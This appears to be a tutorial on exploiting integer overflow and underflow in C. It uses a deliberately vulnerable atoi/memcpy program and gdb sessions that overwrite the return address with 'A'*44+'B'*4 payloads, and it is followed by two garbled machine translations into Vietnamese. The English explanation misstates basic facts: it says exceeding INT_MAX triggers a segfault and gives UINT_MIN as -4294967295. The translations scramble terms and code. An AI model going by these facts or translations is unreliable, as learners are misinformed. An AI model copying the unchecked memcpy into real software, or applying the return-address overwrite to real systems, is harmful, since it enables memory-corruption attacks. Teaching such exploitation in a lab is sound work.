What is an integer? An integer in

What is an integer?

An integer in computing is a variable holding a real number without fractions. The size of int is
depending on the architecture. So on i386 arch (32-bit) the int is 32-bits.

An integer is represented in memory in binary.

An integer overflow/ underflow?

Overflow:

Basically an integer is a region in memory capable of holding values with size up to four bytes.
So if this value can be controlled and a value is submitted that is larger in size than 32 bits we
will successfully overflow memory.

So according in C the maximum size of a signed int is INT_MAX = 2147483647,

The maximum size of an unsigned int is UINT_MAX = 4294967295 (0xffffffff),

if a value is larger than the INT_MAX is used it will trigger a segmentation fault.

Underflow:

However if the integer value used is less than the minimum signed or unsigned int. This is called
an underflow and will also trigger a segmentation fault.

Because the binary unsigned int -4294967295 is similar to the binary representation of the
signed int -1 in memory

INT_MIN = -2147483647-1 UINT_MIN = -4294967295


Exploiting:

Vulnerable program int.c
#include



int main(int argc, char *argv[])

{

char buf[20];

int i=atoi(argv[1]);

memcpy(buf,argv[2],i*sizeof(int));

printf("the number is:%d=%d
",i,i*sizeof(int));

printf("the buffer is:%s
",buf);

}


Let’s take the program step by step:

The program will first declare character buffer of size 20, and int i. As atoi(argv[1])

then it will memcpy the buffer from second argument into buf, with size the int supplied as first
argument X size of int which is 4 bytes.
Let’s test it:

debian:~/tuts/integerunderflow# ./int 1 AAAA

the number is:1=4

the buffer is:AAAA

The program works as it should so what will happen if we supplied a negative value
debian:~/tuts/integerunderflow# ./int -1 AAAA

Segmentation fault

And if we supplied a large positive value:
debian:~/tuts/integerunderflow# ./int 111 AAAA

Segmentation fault


In the first example we got an overflow because memcpy tried to copy negative data to buffer.

In the second example we got segmentation fault because atoi(argv[1]) X sizeof(int) output of
111 X 4 is 4444 so memcpy tried to copy 4444 bytes to buffer which overflowed the memory.

Let’s see it in gdb:

Overflow:
(gdb) r 12 $(python -c 'print "A"*44+ "B"*4')

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /root/tuts/integerunderflow/int 12 $(python -c 'print "A"*44+ "B"*4')

the number is:12=48

the buffer is:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB#



Program received signal SIGSEGV, Segmentation fault.

0x42424242 in ?? ()

(gdb)


So what will happen is memcpy will try to copy 4X12= 48 bytes to buffer which will overflow the
buf size 20. And overwrite owr return address after 44 bytes. As shown above.

Underflow:

so the UINT_MIN is -4294967296 which is equal to -1 we have to find a negative value when it
is multiplied by 4 will give a number larger than 20, which will trigger as segmentation fault in
memcpy().

This number is -1073741810 X 4 = 56

Let’s run it in gdb and see where the execution will go to.



(gdb) r -1073741810 $(python -c 'print "A"*44+"B"*4')

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /root/tuts/integerunderflow/int -1073741810 $(python -c 'print
"A"*44+"B"*4')

the number is:-1073741810=56

the buffer is:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB



Program received signal SIGSEGV, Segmentation fault.

0x42424242 in ?? ()

(gdb)



We controlled our execution path with overflow and underflow techniques.

Kết quả (Việt) 1:

Một số nguyên là gì? Một số nguyên trong máy tính là một biến đang nắm giữ một số thực mà không cần phân số. Lượng int tùy thuộc vào kiến trúc. Vì vậy, trên kiến trúc i386 (32-bit) int là 32-bit. Một số nguyên được đại diện trong bộ nhớ trong hệ nhị phân. Một số nguyên tràn / underflow? Tràn: Về cơ bản, một số nguyên là một vùng bộ nhớ khả năng nắm giữ các giá trị với kích thước lên đến bốn byte. Vì vậy nếu giá trị này có thể được kiểm soát và một giá trị được gửi đó là lớn hơn kích cỡ hơn 32 bit chúng tôi sẽ thành công tràn bộ nhớ. Do đó, theo trong kích thước tối đa của một int ký là INT_MAX = 2147483647, Kích thước tối đa của một unsigned int là UINT_MAX = 4294967295 (0xffffffff), Nếu giá trị nào lớn hơn INT_MAX được sử dụng nó sẽ kích hoạt một lỗi phân khúc. Underflow: Tuy nhiên, nếu giá trị số nguyên sử dụng là ít hơn tối thiểu đã ký hoặc dấu int. Điều này được gọi là một underflow và cũng sẽ kích hoạt một lỗi phân khúc. Bởi vì nhị phân unsigned int-4294967295 là tương tự như đại diện nhị phân của các ký int -1 trong bộ nhớ INT_MIN =-2147483647-1 UINT_MIN =-4294967295 Khai thác: Dễ bị tổn thương chương trình int.c #include int chính (int argc, char *argv[]) { Char buf [20]; int i=atoi(argv[1]); memcpy(BUF,argv[2],i*sizeof(Int)); printf ("số is:%d=%d
",i,i*sizeof(int)); printf ("is:%s
",buf bộ đệm); } Chúng ta hãy chương trình từng bước: Chương trình sẽ lần đầu tiên tuyên bố ký tự bộ đệm kích thước 20, và int tôi. Như atoi(argv[1]) sau đó nó sẽ memcpy các bộ đệm từ đối số thứ hai vào buf, với kích thước int cung cấp như là đầu tiên đối số X các kích thước của int là 4 byte. Hãy kiểm tra nó: Debian: ~ / tuts/integerunderflow #. / int 1 AAAA số lượng: 1 = 4 bộ đệm là: AAAA Chương trình hoạt động như nó nên vì vậy những gì sẽ xảy ra nếu chúng tôi cung cấp một giá trị tiêu cực Debian: ~ / tuts/integerunderflow #. / int -1 AAAA Phân khúc lỗi Và nếu chúng tôi cung cấp một giá trị lớn tích cực: Debian: ~ / tuts/integerunderflow #. / int 111 AAAA Phân khúc lỗi Trong ví dụ đầu tiên chúng tôi đã nhận một tràn vì memcpy đã cố gắng để sao chép dữ liệu tiêu cực vào bộ đệm. Trong ví dụ thứ hai chúng tôi đã phân khúc lỗi vì atoi(argv[1]) X sizeof(int) đầu ra của 111 x 4 là 4444, do đó, memcpy đã cố gắng để sao chép 4444 byte vào bộ đệm tràn bộ nhớ. Hãy nhìn thấy nó trong gdb: Tràn: (gdb) r 12 $(python - c ' in "A" * 44 + "B" * 4') Chương trình được debugged đã được bắt đầu đã. Bắt đầu từ đầu? (y hoặc n) y Bắt đầu chương trình: /root/tuts/integerunderflow/int 12 $(python - c ' in "A" * 44 + "B" * 4') số: 12 = 48 bộ đệm là: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB # Chương trình nhận được tín hiệu SIGSEGV, phân khúc lỗi. 0x42424242 tại?? () (gdb) Vì vậy, những gì sẽ xảy ra là memcpy sẽ cố gắng sao chép 4 X 12 = 48 byte vào bộ đệm mà sẽ tràn các BUF các kích thước 20. Và ghi đè địa chỉ trả lại owr sau khi 44 byte. Như được hiển thị ở trên. Underflow: Vì vậy, UINT_MIN là-4294967296 đó là tương đương với -1 chúng tôi phải tìm một tiêu cực khi có giá trị nó được nhân với 4 sẽ cung cấp cho một số lớn hơn 20, mà sẽ kích hoạt như phân khúc lỗi trong memcpy(). Con số này là-1073741810 X 4 = 56 Hãy chạy nó trong gdb và xem nơi thực hiện sẽ tới. (gdb) r-1073741810 $(python - c ' in "A" * 44 + "B" * 4') Chương trình được debugged đã được bắt đầu đã. Bắt đầu từ đầu? (y hoặc n) y Bắt đầu chương trình: /root/tuts/integerunderflow/int-1073741810 $(python - c ' in "A" * 44 + "B" * 4') số là:-1073741810 = 56 bộ đệm là: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Chương trình nhận được tín hiệu SIGSEGV, phân khúc lỗi. 0x42424242 tại?? () (gdb) Chúng tôi kiểm soát con đường của chúng tôi thực hiện với các kỹ thuật tràn và underflow.

Kết quả (Việt) 2:

Một số nguyên là gì? Một số nguyên trong máy tính là một biến đang nắm giữ một số thực mà không cần phân số. Kích thước của int là tùy thuộc vào kiến trúc. Vì vậy, trên vòm i386 (32-bit) int là 32-bit. Một số nguyên được đại diện trong bộ nhớ trong hệ nhị phân. Một số nguyên tràn / Van cân bằng? Overflow: Về cơ bản một số nguyên là một khu vực trong bộ nhớ có khả năng giữ giá trị với kích thước lên đến bốn byte. Vì vậy, nếu giá trị này có thể được kiểm soát và một giá trị được gửi mà là ở kích thước lớn hơn 32 bit chúng ta sẽ thành công bộ nhớ tràn. Vì vậy, theo trong C kích thước tối đa của một int ký là INT_MAX = 2147483647, Kích thước tối đa của một unsigned int là UINT_MAX = 4294967295 (0xffffffff), nếu một giá trị lớn hơn INT_MAX được sử dụng nó sẽ kích hoạt một phân khúc lỗi. Van cân bằng: Tuy nhiên nếu giá trị số nguyên được sử dụng là ít hơn mức tối thiểu ký kết hoặc unsigned int. Điều này được gọi là một underflow và cũng sẽ kích hoạt một lỗi phân khúc. Bởi vì nhị phân unsigned int -4294967295 tương tự như biểu diễn nhị phân của ký int -1 trong bộ nhớ INT_MIN = -2147483647-1 UINT_MIN = -4294967295 Khai thác: dễ bị tổn thương chương trình int. c # include






































int main (int argc, char * argv []) { char buf [20]; int i = atoi (argv [1]); memcpy (buf, argv [2], i * sizeof (int)); printf (" "), i, i * sizeof (int);% d =% d n: số lượng là (printf "bộ đệm là:% s n", buf); } Chúng ta hãy bước chương trình bước: Chương trình đầu tiên sẽ khai báo bộ đệm ký tự có kích thước 20, và int i. Như atoi (argv [1]) sau đó nó sẽ memcpy bộ đệm từ số thứ hai vào buf, với kích thước int cung cấp như là đầu tiên tham số kích thước X của int là 4 byte. Hãy thử nghiệm nó: debian: ~ / tuts / integerunderflow #. / int 1 AAAA số là: 1 = 4 bộ đệm là: AAAA chương trình này hoạt động như nó phải vì vậy những gì sẽ xảy ra nếu chúng tôi cung cấp một giá trị tiêu cực debian: ~ / tuts / integerunderflow # ./int -1 AAAA Segmentation fault Và nếu chúng tôi cung cấp một giá trị tích cực lớn: debian: ~ / tuts / integerunderflow # ./int 111 AAAA Segmentation lỗi . Trong ví dụ đầu tiên chúng tôi đã nhận một tràn vì memcpy cố gắng để sao chép dữ liệu tiêu cực để đệm Trong ví dụ thứ hai chúng tôi đã nhận lỗi phân khúc vì atoi (argv [1]) X sizeof (int) đầu ra của 111 X 4 là 4444 để memcpy cố gắng để sao chép 4444 byte để đệm mà tràn bộ nhớ. Hãy xem nó trong gdb: Overflow: (gdb) r $ 12 (python -c 'print "A" * 44 + "B" * 4') Chương trình đang được gỡ rối đã được bắt đầu rồi. Bắt đầu từ đầu? (Y hoặc n) y chương trình khởi điểm: / root / tuts / integerunderflow / int 12 $ (python -c 'print "A" * 44 + "B" * 4') số là: 12 = 48 bộ đệm là: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB # Chương trình đã nhận được tín hiệu SIGSEGV, phân đoạn lỗi. 0x42424242 trong ?? () (gdb) Vì vậy, những gì sẽ xảy ra là memcpy sẽ cố gắng sao chép 4X12 = 48 byte để đệm mà sẽ tràn kích thước buf 20. Và ghi đè lên địa chỉ trả lại owr sau 44 byte. Như đã trình bày ở trên. Van cân bằng: nên UINT_MIN là -4294967296 đó là bằng -1 chúng ta phải tìm một giá trị tiêu cực khi nó được nhân 4 sẽ cung cấp cho một số lượng lớn hơn 20, mà sẽ kích hoạt như lỗi phân khúc trong memcpy (). Con số này là -1073741810 X 4 = 56 Chúng ta hãy chạy nó trong gdb và xem nơi thực hiện sẽ đi đến. (gdb) r -1073741810 $ (python -c 'print "A" * 44 + "B" * 4') Các Chương trình đang được gỡ rối đã bắt đầu rồi. Bắt đầu từ đầu? (Y hoặc n) y chương trình khởi điểm: / root / tuts / integerunderflow / int -1073741810 $ (python -c 'print "A" * 44 + "B" * 4 ') số lượng là: -1073741810 = 56 bộ đệm : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB . Chương trình đã nhận được tín hiệu SIGSEGV, phân đoạn lỗi 0x42424242 trong ?? () (gdb) Chúng tôi kiểm soát con đường thực hiện của chúng tôi với tràn và kỹ thuật Van cân bằng.